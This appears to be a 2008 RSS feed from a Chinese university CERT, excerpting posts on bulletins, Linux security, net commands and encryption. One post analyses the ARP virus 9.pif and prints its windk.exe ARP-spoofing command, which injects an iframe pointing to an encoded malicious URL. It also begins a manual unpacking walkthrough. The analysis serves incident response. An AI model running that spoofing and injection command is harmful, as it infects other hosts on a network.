<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>东北大学网络应急响应组NEUCERT</title>
	<atom:link href="http://neucert.neu.edu.cn/feed" rel="self" type="application/rss+xml" />
	<link>http://neucert.neu.edu.cn</link>
	<description>东北大学网络安全相关信息发布平台</description>
	<pubDate>Thu, 20 Nov 2008 06:15:33 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>arp病毒9.pif分析手记</title>
		<link>http://neucert.neu.edu.cn/archives/89</link>
		<comments>http://neucert.neu.edu.cn/archives/89#comments</comments>
		<pubDate>Thu, 20 Nov 2008 05:22:50 +0000</pubDate>
		<dc:creator>wangwd@mail.neu.edu.cn</dc:creator>
		
		<category><![CDATA[安全文档]]></category>

		<guid isPermaLink="false">http://neucert.neu.edu.cn/?p=89</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;前一段时间arp病毒闹得挺凶，各个办公楼，宿舍楼都有电脑中毒。还好在网络中心各位同事的努力下，基本把这种类型的病毒控制住了。之前处理arp病毒的时候抓了些样本，现在正好有时间分析一下病毒的运行机制。
样本文件名:9.pif，大小:183916 byte，Md5:f91745985da2e6f2710316fcb690226c。其实病毒发作时还会释放运行一系列的文件,2.pif,4.pif,ms.pif…只是主要的扩展传播功能是在9.pif里，所以着重分析该文件。

(一)概要
该文件后缀为pif,pif是什么格式呢？
baidu一下：pif的中文名称叫：程序信息文件大概是“program information file”的缩写。指向DOS程序的快捷方式就是PIF文件，自从windows3.1就有了，内中包含执行DOS程序的一些设置，比如路径、窗口和字体。
好像是一个快捷方式，可是在该文件的属性里却找不到该快捷方式所指的文件。用lordpe分析可以看出该文件有完整的PE结构，其实是一个exe文件。
(二)行为特征：
把该文件提交到VirusTotal，看看是否能检测出来。
http://www.virustotal.com/analisis/fb59b7504a70388c39fcfa35e2cb261d
大部分杀毒软件都能检测出是病毒，只是检测结果差别很大。从后面的分析结果看，Nod32结果比较准确，Kaspersky，Symantec， McAfee 结果就不太准了。瑞星的检测结果有点奇怪，加了壳的软件就一定是病毒吗？
再看看这个病毒的行为特征：把样本提交到CWSandbox，不到一分钟，程序检测结果就出来了。
http://www.cwsandbox.org/?page=report&#38;analysisid=505862&#38;password=pahcj
病毒行为特征:
1) 释放出 WanPacket.dll,Packet.dll,wpcap.dll,npptools.dll,windk.exe到system32目录，释放npf.sys到系统drivers目录。
2) 创建一个进程，执行命令
"C:\WINDOWS\system32\sc.exe create
npf binpath= C:\WINDOWS\system32\drivers\npf.sys type= kernel start= demand”
3) 创建一个进程，执行命令
C:\WINDOWS\system32\windk.exe -idx 0 -ip 10.1.3.2-10.1.3.254 -port 80
-insert &#60;iframe src=http://%77%2E%64%35%78%38%2E%63%6F%6D/index.gif
width=100 height=0&#62;&#60;/iframe&#62;
特征2是将npf.sys注册为系统服务
WanPacket.dll Packet.dll wpcap.dll,npf.sys是winpcap驱动的文件,npptools.dll百度了一下是和发送接收arp数据包有关的windows系统文件。将npf.sys注册为服务后，其它工具可以用它来捕获网络数据。
特征3是开启arp欺骗，Windk.exe是一个arp攻击软件，用于对同网段内的其他主机arp欺骗后在web页面里插入 ”…”代码，感染其它主机。被感染主机无论访问什么网站，都会被插入” http://%77%2E%64%35%78%38%2E%63%6F%6D/index.gif”,解码后即” http://www.w.d5&#215;8.com.com/index.gif” 这个url，该url里包含恶意代码，导致未打补丁主机中毒。
(三)反汇编代码分析：
知道了病毒基本行为，下面开始对病毒详细的解剖。
用peid检测病毒是否加壳，检测没有结果，改成深度扫描后检测出用nSPack21-2.5加壳。

1.脱壳
使用手工脱壳
说明:([F2]：下软断点、[F4]：执行到当前代码处、[F7]：单步步入、[F8]：单步步过、[F9]：运行。)
(1)    打开OD，设置OD为”不忽略任何异常”, 载入病毒程序，程序停在入口处
使用经典的ESP定律，[F8]运行一行,记下这时ESP的值(ESP=0012FFC0)，在内存窗口ctrl+g定位到0012FFC0,右键菜单中选&#8221;断点&#8221;-&#8221;硬件访问&#8221;-&#8221;DWORD&#8221;

004872A1    9C              pushfd [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/89/feed</wfw:commentRss>
		</item>
		<item>
		<title>微软发布2008年10月份的安全公告</title>
		<link>http://neucert.neu.edu.cn/archives/80</link>
		<comments>http://neucert.neu.edu.cn/archives/80#comments</comments>
		<pubDate>Tue, 21 Oct 2008 00:25:49 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全公告]]></category>

		<guid isPermaLink="false">http://neucert.neu.edu.cn/?p=80</guid>
		<description><![CDATA[微软发布2008年10月份的安全公告
微软刚刚发布了2008年10月份的11个安全公告,其中有4个严重事项,6个重要事项,1个中
等事项。它们分别是:
Microsoft 安全公告 MS08-060 - 严重
Active Directory 中的漏洞可能允许远程执行代码 (957280)
发布日期： 十月 14, 2008
影响的软件系统:
Microsoft Windows 2000 Server Service Pack 4
&#8211;Active Directory
CVE编号:
CVE-2008-4023
风险等级：严重
详细信息:
1  Active Directory 溢出漏洞
Microsoft Windows 2000 Server 上的 Active Directory 实施中存在一个远程执行代码漏洞。
该漏洞是由在接收特制 LDAP 或 LDAPS 请求时不正确的内存分配导致的。 成功利用此
漏洞的攻击者可以完全控制受影响的系统。
解决办法
临时解决办法:
在外围防火墙处阻止 TCP 端口 389 和 636
补丁更新:
厂商已经针对该漏洞发布了相应的安全公告和补丁程序，由于补丁安装选择比较复杂，我们不建
议您使用手工安装的方式，你可以使用windows自带的update功能进行更新，同时你也可以使用
我们提供的sus服务（http://sus.ccert.edu.cn)进行更新.
参考链接:
http://www.microsoft.com/china/technet/security/bulletin/ms08-060.mspx
Microsoft 安全公告 MS08-058 - 严重
Internet Explorer 的累积性安全更新 (956390)
发布日期： 十月 14, 2008
影响的操作系统和软件 :
Microsoft Internet Explorer 5.01 Service Pack [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/80/feed</wfw:commentRss>
		</item>
		<item>
		<title>转贴：CCERT教育培训简介</title>
		<link>http://neucert.neu.edu.cn/archives/79</link>
		<comments>http://neucert.neu.edu.cn/archives/79#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:13:04 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全动态]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=79</guid>
		<description><![CDATA[



中国教育和科研计算机网紧急响应组（CCERT）是依托于中国教育和科研计算机网的 一个非盈利、非政府的民间组织，对中国境内组织和个人提供网络安全事件相关的响应或技术服务。
CCERT依靠中国各高校的技术力量，向全社会提供公益性质的网络安全服务。
CCERT 的资助目前全部来自中国教育和科研计算机网CERNET，受CERNET 专家委员会领导,目前，CCERT的应急响应体系已经包括CERNET内部各级网络中心的安全事件响应组或安全管理相关部门，已经发展成一个由30多个单 位组成、覆盖全国的应急响应组织，经过历次安全事件的锻炼，形成了默契的合作精神和有效的通信机制。
目前，CCERT的主要工作包括网络和信息系统安全事件的应急响应服务和网络安全领域的研究与开发、安全培训等。
CCERT教育培训体系包括高级、中级、初级、安全意识培训系列课程以及CBK全领域培训、网络安全应急响应高级培训、Linux高级系统管理专业培训。
系列课程包括：
1、 高级：高级网络安全管理与开发，高级管理培训（信息系统安全专家）：
各企事业单位、部队、城市公共服务系统、大型银行等从事信息系统开发、网络建设的数据信息主管、技术总监。
2、 中级：网络安全工程与实践，安全技术培训（信息系统安全工程师）：
系统管理员，数据库管理员、数据分析、教学与网络维护的相关人员等。
3、 初级：网络安全基础与操作：
系统管理员，数据库管理员、数据分析、教学与网络维护的相关人员等。
4、 普及：安全意识及基本技能培训：
财务人员，政府职员，公司职员等使用计算机系统处理日常业务的人员。
专业课程包括：
1、 专业：CBK全领域培训：
该培训适合于有意参加CISSP认证考试的人员，或者想全面了解信息安全管理的专业人士参见。
2、 专业：网络安全应急响应高级培训
应急响应，网络安全事件的调查和取证技术，数据恢复技术，IT容灾。适用于信息安全总监，技术总监和应急响应人员。
3、 专业：Linux高级系统管理： 包括Linux系统管理，以及在单个Linux服务器上配置和管理多种应用，提供安全服务。
定制课程：
定制课程可以通过选择CBK领域模块和CCERT关键领域模块进行组合，根据各单位或公司，提出的培训要求进行课程开发，满足特定的培训需求。
定制课程需要由公司提前4周和CCERT培训负责人联系。
邮件：training@ccert.edu.cn



 2008年CISSP考试安排 








March 1 - 1
(ISC)2 Examination - Beijing
Beijing,  China
Details/Registration..



March 8 - 8
(ISC)2 Examination - Taipei - Systex Corporation
Taipei,  Taiwan, Republic of China
Details/Registration..



April 12 - 12
(ISC)2 Examination - Shanghai
Pudong Shanghai,  China
Details/Registration..



May 17 - 17
(ISC)2 Examination - Beijing
Beijing,  China
Details/Registration..



June 7 [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/79/feed</wfw:commentRss>
		</item>
		<item>
		<title>微软发布2008年8月份的安全公告</title>
		<link>http://neucert.neu.edu.cn/archives/78</link>
		<comments>http://neucert.neu.edu.cn/archives/78#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:09:15 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全公告]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=78</guid>
		<description><![CDATA[微软发布2008年8月份的安全公告

微软刚刚发布了2008年7月份的11个安全公告,其中有5个重要,6个严重。它们分别是:

Microsoft 安全公告 MS08-041 - 严重
Snapshot Viewer for Microsoft Access 的 ActiveX 控件中的漏洞可能允许远程执行代码
 (955617)
发布日期： 八月 12, 2008

影响的软件系统:
Microsoft Office 2000 Service Pack 3
Microsoft Office XP Service Pack 3
Microsoft Office 2003 Service Pack 2 和 Microsoft Office 2003 Service Pack 3

CVE编号:
CVE-2008-2463

风险等级：严重

详细信息:
Snapshot Viewer 任意文件下载漏洞
Snapshot Viewer for Microsoft Access 的 ActiveX 控件中存在一个远程执行代码漏洞。
攻击者可以通过构建特制的网页来利用该漏洞。 当用户查看网页时，该漏洞可能允许远程
执行代码。 成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。

解决办法
临时解决办法:
1  阻止 COM 对象在 Internet Explorer [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/78/feed</wfw:commentRss>
		</item>
		<item>
		<title>linux系统安全</title>
		<link>http://neucert.neu.edu.cn/archives/76</link>
		<comments>http://neucert.neu.edu.cn/archives/76#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:02:11 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=76</guid>
		<description><![CDATA[本文从系统管理员的角度讨论安全问题.系统管理员是管理系统的人:启动系统,停止系统运行,安装新软件,增加新用户,删除老用户,以及完成保持系统发展和运行的日常事务工作.
1.安全管理
安全管理主要分为四个方面:
(1)防止未授权存取:这是计算机安全最重要的问题:未被使用系统的人进入系统.用户意识,良好的口令管理(由系统管理员和用户双方配合),登录活动记录和报告,用户和网络活动的周期检查,这些都是防止未授权存取的关键.
(2)防止泄密:这也是计算机安全的一个重要问题.防止已授权或未授权的用户相互存取相互的重要信息.文件系统查帐,su登录和报告,用户意识,加密都是防止泄密的关键.
(3)防止用户拒绝系统的管理:这一方面的安全应由操作系统来完成.一个系统不应被一个有意试图使用过多资源的用户损害.不幸的是,UNIX不能 很好地限制用户对资源的使用,一个用户能够使用文件系统的整个磁盘空间,而UNIX基本不能阻止用户这样做.系统管理员最好用PS命令,记帐程序df和 du周期地检查系统.查出过多占用CUP的进程和大量占用磁盘的文件.
(4)防止丢失系统的完整性:这一安全方面与一个好系统管理员的实际工作(例如:周期地备份文件系统,系统崩溃后运行fsck检查,修复文件系 统,当有新用户时,检测该用户是否可能使系统崩溃的软件)和保持一个可靠的操作系统有关(即用户不能经常性地使系统崩溃). 本文其余部分主要涉及前两个问题,第三个问题在&#8221;安全查帐&#8221;一节讨论.
2.超级用户
一些系统管理命令只能由超级用户运行.超级用户拥有其他用户所没有的特权,超级用户不管文件存取许可方式如何,都可以读,写任何文件,运行任何程序. 系统管理员通常使用命令: /bin/su或以root进入系统从而成为超级用户.在后面文章中以#表示应敲入必须由超级用户运行的命令,用$表示应敲入由所有其他用户运行的命令.
3.文件系统安全
(1)UNIX文件系统概述
UNIX文件系统是UNIX系统的心脏部分,提供了层次结构的目录和文件.文件系统将磁盘空间划分为每1024个字节一组,称为块(block)(也有用512字节为一块的,如:SCO XENIX).编号从0到整个磁盘的最大块数.
全部块可划分为四个部分,块0称为引导块,文件系统不用该块;块1称为专用块,专用块含有许多信息,其中有磁盘大小和全部块的其它两部分的大小.从块2开 始是i节点表,i节点表中含有i节点,表的块数是可变的,后面将做讨论. i节点表之后是空闲存储块(数据存储块),可用于存放文件内容.
文件的逻辑结构和物理结构是十分不同的,逻辑结构是用户敲入cat命令后所看到的文件,用户可得到表示文件内容的字符流.物理结构是文件实际上如何存放在 磁盘上的存储格式.用户认为自己的文件是边疆的字符流,但实际上文件可能并不是以边疆的方式存放在磁盘上的,长于一块的文件通常将分散地存放在盘上.然而 当用户存取文件时,UNIX文件系统将以正确的顺序取各块,给用户提供文件的逻辑结构.
当然,在UNIX系统的某处一定会有一个表,告诉文件系统如何将物理结构转换为逻辑结构.这就涉及到i节点了.i节点是一个64字节长的表,含有有关一个 文件的信息,其中有文件大小,文件所有者,文件存取许可方式,以及文件为普通文件,目录文件还是特别文件等.在i节点中最重要的一项是磁盘地址表. 该表中有13个块号.前10个块号是文件前10块的存放地址.这10个块号能给出一个至多10块长的文件的逻辑结构,文件将以块号在磁盘地址表中出现的顺 序依次取相应的块.
当文件长于10块时又怎样呢?磁盘地址表中的第十一项给出一个块号,这个块号指出的块中含有256个块号,至此,这种方法满足了至多长于266块的文件 (272,384字节).如果文件大于266块,磁盘地址表的第十二项给出一个块号,这个块号指出的块中含有256个块号,这256个块号的每一个块号又 指出一块,块中含256个块号,这些块号才用于取文件的内容.磁盘地址中和第十三项索引寻址方式与第十二项类似,只是多一级间接索引.
这样,在UNIX系统中,文件的最大长度是16,842,762块,即17,246,988,288字节,有幸是是UNIX系统对文件的最大长度(一般为1到2M字节)加了更实际的限制,使用户不会无意中建立一个用完整个磁盘窨所有块的文件.
文件系统将文件名转换为i节点的方法实际上相当简单.一个目录实际上是一个含有目录表的文件:对于目录中的每个文件,在目录表中有一个入口项,入口项中含 有文件名和与文件相应的i节点号.当用户敲入cat xxx时,文件系统就在当前目录表中查找名为xxx的入口项,得到与文件xxx相应的i节点号,然后开始取含有文件xxx的内容的块.
(2)设备文件
UNIX系统与边在本系统上的各种设备之间的通讯,通过特别文件来实现,就程序而言,磁盘是文件,MODEM是文件,甚至内存也是文件.所有连接到系统上 的设备都在/dev目录中有一个文件与其对应.当在这些文件上执行I/O操作时,由UNIX系统将I/O操作转换成实际设备的动作.例如,文件/dev /mem是系统的内存,如果cat这个文件,实际上是在终端显示系统的内存.为了安全起见,这个文件对普通用户是不可读的.因为在任一给定时间,内存区可 能含有用户登录口令或运行程序的口令,某部分文件的编辑缓冲区,缓冲区可能含有用ed -x命令解密后的文本,以及用户不愿让其他人存取的种种信息.
在/dev中的文件通常称为设备文件,用ls /dev命令可以看看系统中的一些设备:
acuo 呼叫自动拨号器
console系统控制台
dsknn 块方式操作磁盘分区
kmem 核心内存
mem 内存
lp 打印机
mto 块方式操作磁带
rdsknn 流方式操作的磁盘分区
rmto 流方式操作的磁带
swap 交换区
syscon 系统终端
ttynn 终端口
x25 网络端口 等等
(3)/etc/mknod命令
用于建立设备文件.只有root能使用这个命令建立设备文件.其参数是文件名,字母c或b分别代表字符特别文件或块特别文件,主设备号,次设备号.块特别 文件是像磁带,磁盘这样一些以块为单位存取数据的设备.字符特别文件是如像终端,打印机,MODEM,或者其它任何与系统通讯时,一次传输一个字符的设 备,包括模仿对磁盘进行字符方式存取的磁盘驱动器.主设备号指定了系统子程序(设备驱动程序),当在设备上执行I/O时,系统将调用这个驱动程序.调用设 备驱动程序时,次设备号将传递给该驱动程序(次设备规定具体的磁盘驱动器,带驱动器,信号线编号,或磁盘分区).每种类型的设备一般都有自己的设备驱动程 序.
文件系统将主设备号和次设备号存放在i节点中的磁盘地址表内,所以没有磁盘空间分配给设备文件(除i节点本身占用的磁盘区外).当程序试图在设备文件上执 行I/O操作时,系统识别出该文件是一个特别文件,并调用由主设备号指定的设备驱动程序,次设备号作为调用设备驱动程序的参数.
(4)安全考虑
将设备处理成文件,使得UNIX程序独立于设备,即程序不必一定要了解正使用的设备的任何特性,存取设备也不需要记录长度,块大小,传输速度,网络协议等 这样一些信息,所有烦人的细节由设备驱动程序去关心考虑,要存取设备,程序只须打开设备文件,然后作为普通的UNIX文件来使用.
从安全的观点来看这样处理很好,因为任何设备上进行的I/O操作只经过了少量的渠道(即设备文件).用户不能直接地存取设备.所以如果正确地设置了磁盘分 区的存取许可,用户就只能通过UNIX文件系统存取磁盘.文件系统有内部安全机制(文件许可).不幸的是,如果磁盘分区设备得不正确,任何用户都能够写一 个程序读磁盘分区中的每个文件,作法很简单:读一i节点,然后以磁盘地址表中块号出现的顺序,依次读这些块号指出的存有文件内容的块.故除了root以 外,决不要使盘分区对任何人可写.因为所有者,文件存取许可方式这样一些信息存放于i节点中,任何人只要具有已安装分区的写许可,就能设置任何文件的 SUID许可,而不管文件的所有者是谁,也不必用chmod()命令,还可避过系统建立的安全检查.
以上所述对内存文件mem,kmem和对换文件swap也是一样的.这些文件含有用户信息,一个&#8221;耐心&#8221;的程序可以将用户信息提取出来.
要避免磁盘分区(以及其它设备)可读可写,应当在建立设备文件前先用umask命令设置文件建立屏蔽值.
一般情况下,UNIX系统上的终端口对任何人都是可写的,从而使用户可以用write命令发送信息.虽然write命令易引起安全方面的问题,但大多数用户觉得用write得到其他用户的信息很方便,所以系统将终端设备的存取许可设置成对所有用户可写.
/dev目录应当是755存取许可方式,且属root所有.
不允许除root外的任何用户读或写盘分区的原则有一例外,即一些程序(通常是数据库系统)要求对磁盘分区直接存取,解决这个问题的经验的盘分区应当由这 种程序专用(不安装文件系统),而且应当告知使用这种程序的用户,文件安全保护将由程序自己而不是UNIX文件系统完成.
(5)find命令
find命令用于搜索目录树,并对目录树上的所有文件执行某种操作,参数是目录名表(指出从哪些起点开始搜索),还可给出一个或多个选项,规定对每个文件执行什么操作.
find . -print将列出当前工作目录下的目录树的每一个文件.
find / -user bob -print将列出在系统中可找到的属于bob用户的所有文件.
find /usr/bob [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/76/feed</wfw:commentRss>
		</item>
		<item>
		<title>net命令全集</title>
		<link>http://neucert.neu.edu.cn/archives/75</link>
		<comments>http://neucert.neu.edu.cn/archives/75#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:01:49 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=75</guid>
		<description><![CDATA[网络命令之：net命令
许多 Windows NT 网络命令以 net 开始。这些 net 命令有一些公共属性：
通过键入 net /? 可查阅所有可用的 net 命令。
通过键入 net help 命令可在命令行中获得 net 命令的语法帮助。例如，要得到 net acco
unts 命令的帮助，请键入 net help accounts。
所有 net 命令接受选项 / yes 和 /no（可缩写为 / y 和 /n ）。/ y 对命令产生的任何交
互提示自动回答“是”，/n 回答“否”。例如，net stop server 通常提示确认是否根据服
务器服务结束所有服务，net stop server /y 自动回答“是”并关闭服务器服务。
Net Accounts
更新用户帐号数据库、更改密码及所有帐号的登录要求。必须要在更改帐号参数的计算机上
运行网络登录服务。
net accounts [/forcelogoff:{minutes &#124; no}] [/minpwlen:length] [/maxpwage:{days &#124;
unlimited}] [/minpwage:days] [/uniquepw:number] [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/75/feed</wfw:commentRss>
		</item>
		<item>
		<title>信息加密技术-实例分析</title>
		<link>http://neucert.neu.edu.cn/archives/74</link>
		<comments>http://neucert.neu.edu.cn/archives/74#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:01:17 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=74</guid>
		<description><![CDATA[本文出自:http://comp.zz.ha.cn/
随着计算机联网的逐步实现，计算机信息的保密问题显得越来越重要。数据保密变换，或密码技术，是对计算机信息进行保护的最实用和最可靠的方法，本文拟对信息加密技术作一简要介绍。
一、信息加密概述
密码学是一门古老而深奥的学科，它对一般人来说是莫生的，因为长期以来，它只在很少的范围内，如军事、外交、情报等部门使用。计算机密码学是 研究计算机信息加密、解密及其变换的科学，是数学和计算机的交义学科，也是一门新兴的学科。随着计算机网络和计算机通讯技术的发展，计算机密码学得到前所 未有的重视并迅速普及和发展起来。在国外，它已成为计算机安全主要的研究方向，也是计算机安全课程教学中的主要内容。
密码是实现秘密通讯的主要手段，是隐蔽语言、文字、图象的特种符号。凡是用特种符号按照通讯双方约定的方法把电文的原形隐蔽起来，不为第三 者所识别的通讯方式称为密码通讯。在计算机通讯中，采用密码技术将信息隐蔽起来，再将隐蔽后的信息传输出去，使信息在传输过程中即使被窃取或载获，窃取者 也不能了解信息的内容，从而保证信息传输的安全。
任何一个加密系统至少包括下面四个组成部分：
（1）、未加密的报文，也称明文。
（2）、加密后的报文，也称密文。
（3）、加密解密设备或算法。
（4）、加密解密的密钥。
发送方用加密密钥，通过加密设备或算法，将信息加密后发送出去。接收方在收到密文后，用解密密钥将密文解密，恢复为明文。如果传输中有人窃取，他只能得到无法理解的密文，从而对信息起到保密作用。
二、密码的分类
从不同的角度根据不同的标准，可以把密码分成若干类。
（一）按应用技术或历史发展阶段划分：
1、手工密码。以手工完成加密作业，或者以简单器具辅助操作的密码，叫作手工密码。第一次世界大战前主要是这种作业形式。
2、机械密码。以机械密码机或电动密码机来完成加解密作业的密码，叫作机械密码。这种密码从第一次世界大战出现到第二次世界大战中得到普遍应用。
3、电子机内乱密码。通过电子电路，以严格的程序进行逻辑运算，以少量制乱元素生产大量的加密乱数，因为其制乱是在加解密过程中完成的而不需预先制作，所以称为电子机内乱密码。从五十年代末期出现到七十年代广泛应用。
4、计算机密码，是以计算机软件编程进行算法加密为特点，适用于计算机数据保护和网络通讯等广泛用途的密码。
（二）按保密程度划分：
1、理论上保密的密码。不管获取多少密文和有多大的计算能力，对明文始终不能得到唯一解的密码，叫作理论上保密的密码。也叫理论不可破的密码。如客观随机一次一密的密码就属于这种。
2、实际上保密的密码。在理论上可破，但在现有客观条件下，无法通过计算来确定唯一解的密码，叫作实际上保密的密码。
3、不保密的密码。在获取一定数量的密文后可以得到唯一解的密码，叫作不保密密码。如早期单表代替密码，后来的多表代替密码，以及明文加少量密钥等密码，现在都成为不保密的密码。
（三）、按密钥方式划分：
1、对称式密码。收发双方使用相同密钥的密码，叫作对称式密码。传统的密码都属此类。
2、非对称式密码。收发双方使用不同密钥的密码，叫作非对称式密码。如现代密码中的公共密钥密码就属此类。
（四）按明文形态：
1、模拟型密码。用以加密模拟信息。如对动态范围之内，连续变化的语音信号加密的密码，叫作模拟式密码。
2、数字型密码。用于加密数字信息。对两个离散电平构成0、1二进制关系的电报信息加密的密码叫作数字型密码。
（五）按编制原理划分：
可分为移位、代替和置换三种以及它们的组合形式。古今中外的密码，不论其形态多么繁杂，变化多么巧妙，都是按照这三种基本原理编制出来的。移位、代替和置换这三种原理在密码编制和使用中相互结合，灵活应用。
三、近代加密技术
（一）、数据加密标准
数据加密标准（DES）是美国经长时间征集和筛选后，于1977年由美国国家标准局颁布的一种加密算法。它主要用于民用敏感信息的加密，后来 被国际标准化组织接受作为国际标准。DES主要采用替换和移位的方法加密。它用56位密钥对64位二进制数据块进行加密，每次加密可对64位的输入数据进 行16轮编码，经一系列替换和移位后，输入的64位原始数据转换成完全不同的64位输出数据。DES算法仅使用最大为64位的标准算术和逻辑运算，运算速 度快，密钥生产容易，适合于在当前大多数计算机上用软件方法实现，同时也适合于在专用芯片上实现。
DES主要的应用范围有：
（1）计算机网络通信：对计算机网络通信中的数据提供保护是DES的一项重要应用。但这些被保护的数据一般只限于民用敏感信息，即不在政府确定的保密范围之内的信息。
（2）电子资金传送系统：采用DES的方法加密电子资金传送系统中的信息，可准确、快速地传送数据，并可较好地解决信息安全的问题。
（3）保护用户文件：用户可自选密钥对重要文件加密，防止未授权用户窃密。
（4）用户识别：DES还可用于计算机用户识别系统中。
DES是一种世界公认的较好的加密算法。自它问世20多年来，成为密码界研究的重点，经受住了许多科学家的研究和破译，在民用密码领域得到了 广泛的应用。它曾为全球贸易、金融等非官方部门提供了可靠的通信安全保障。但是任何加密算法都不可能是十全十美的。它的缺点是密钥太短（56位），影响了 它的保密强度。此外，由于DES算法完全公开，其安全性完全依赖于对密钥的保护，必须有可靠的信道来分发密钥。如采用信使递送密钥等。因此，它不适合在网 络环境下单独使用。
针对它密钥短的问题，科学家又研制了80位的密钥，以及在DES的基础上采用三重DES和双密钥加密的方法。即用两个56位的密钥K1、 K2，发送方用K1加密，K2解密，再使用K1加密。接收方则使用K1解密，K2加密，再使用K1解密，其效果相当于将密钥长度加倍。
（二）国际数据加密算法
国际数据加密算法IDEA是瑞士的著名学者提出的。它在1990年正式公布并在以后得到增强。这种算法是在DES算法的基础上发展出来的，类 似于三重DES。发展IDEA也是因为感到DES具有密钥太短等缺点，已经过时。IDEA的密钥为128位，这么长的密钥在今后若干年内应该是安全的。
类似于DES，IDEA算法也是一种数据块加密算法，它设计了一系列加密轮次，每轮加密都使用从完整的加密密钥中生成的一个子密钥。与DES的不同处在于，它采用软件实现和采用硬件实现同样快速。
由于IDEA是在美国之外提出并发展起来的，避开了美国法律上对加密技术的诸多限制，因此，有关IDEA算法和实现技术的书籍都可以自由出版 和交流，可极大地促进IDEA的发展和完善。但由于该算法出现的时间不长，针对它的攻击也还不多，还未经过较长时间的考验。因此，尚不能判断出它的优势和 缺陷。
（三）clipper加密芯片
密码虽然可为私人提供信息保密服务，但是它首先是维护国家利益的工具。正是基于这个出发点，考虑到DES算法公开后带来的种种问题，美国国家 保密局（NSA）从1985年起开始着手制定新的商用数据加密标准，以取代DES。1990年开始试用，1993年正式使用，主要用于通信交换系统中电 话、传真和计算机通信信息的安全保护。
新的数据加密标准完全改变了过去的政策，密码算法不再公开，对用户提供加密芯片（clipper）和硬件设备。新算法的安全性远高于 DES，其密钥量比DES多1000多万倍。据估算，穷举破译至少需要10亿年。为确保安全，clipper芯片由一个公司制造裸片，再由另一公司编程后 方可使用。
由于完全是官方的封闭控制，该算法除可提供高强度的密码报密外，还可对保密通信进行监听，以防止不法分子利用保密通信进行非法活动，但这种监听是在法律允许的范围内进行的。官方控制也成为美国民间反对该方案的一个重要原因。
Clipper芯片主要用于商业活动的计算机通信网。NSA同时在着手进行政府和军事通信网中数据加密芯片的研究，并作为clipper的换 代产品。它除了具有clipper的全部功能外，还将实现美国数字签名标准（DSS）和保密的哈稀函数标准以及用纯噪声源产生随机数据的算法等。
（四）公开密钥密码体制
传统的加密方法是加密、解密使用同样的密钥，由发送者和接收者分别保存，在加密和解密时使用，采用这种方法的主要问题是密钥的生成、注入、存储、管理、分发等很复杂，特别是随着用户的增加，密钥的需求量成倍增加。在网络通信中，大量密钥的分配是一个难以解决的问题。
例如，若系统中有n个用户，其中每两个用户之间需要建立密码通信，则系统中每个用户须掌握(n-1)/2个密钥，而系统中所需的密钥总数为n* (n-1)/2 个。对10个用户的情况，每个用户必须有9个密钥，系统中密钥的总数为45个。对100个用户来说，每个用户必须有99个密钥，系统中密钥的总数为 4950个。这还仅考虑用户之间的通信只使用一种会话密钥的情况。如此庞大数量的密钥生成、管理、分发确实是一个难处理的问题。
本世纪70年代，美国斯坦福大学的两名学者迪菲和赫尔曼提出了一种新的加密方法&#8211;公开密钥加密队PKE方法。与传统的加密方法不同，该技 术采用两个不同的密钥来对信息加密和解密，它也称为&#8221;非对称式加密方法。每个用户有一个对外公开的加密算法E和对外保密的解密算法D，
它们须满足条件：
（1）D是E的逆，即D[E（X）]=X；
（2）E和D都容易计算。
（3）由E出发去求解D十分困难。
从上述条件可看出，公开密钥密码体制下，加密密钥不等于解密密钥。加密密钥可对外公开，使任何用户都可将传送给此用户的信息用公开密钥加密发 送，而该用户唯一保存的私人密钥是保密的，也只有它能将密文复原、解密。虽然解密密钥理论上可由加密密钥推算出来，但这种算法设计在实际上是不可能的，或 者虽然能够推算出，但要花费很长的时间而成为不可行的。所以将加密密钥公开也不会危害密钥的安全。
数学上的单向陷门函数的特点是一个方向求值很容易，但其逆向计算却很困难。许多形式为Y=f（x）的函数，对于给定的自变量x值，很容易计算出 函数Y的值；而由给定的Y值，在很多情况下依照函数关系f(x)计算x值十分困难。例如，两个大素数p和q相乘得到乘积n比较容易计算，但从它们的乘积n 分解为两个大素数p和q则十分困难。如果n为足够大，当前的算法不可能在有效的时间内实现。
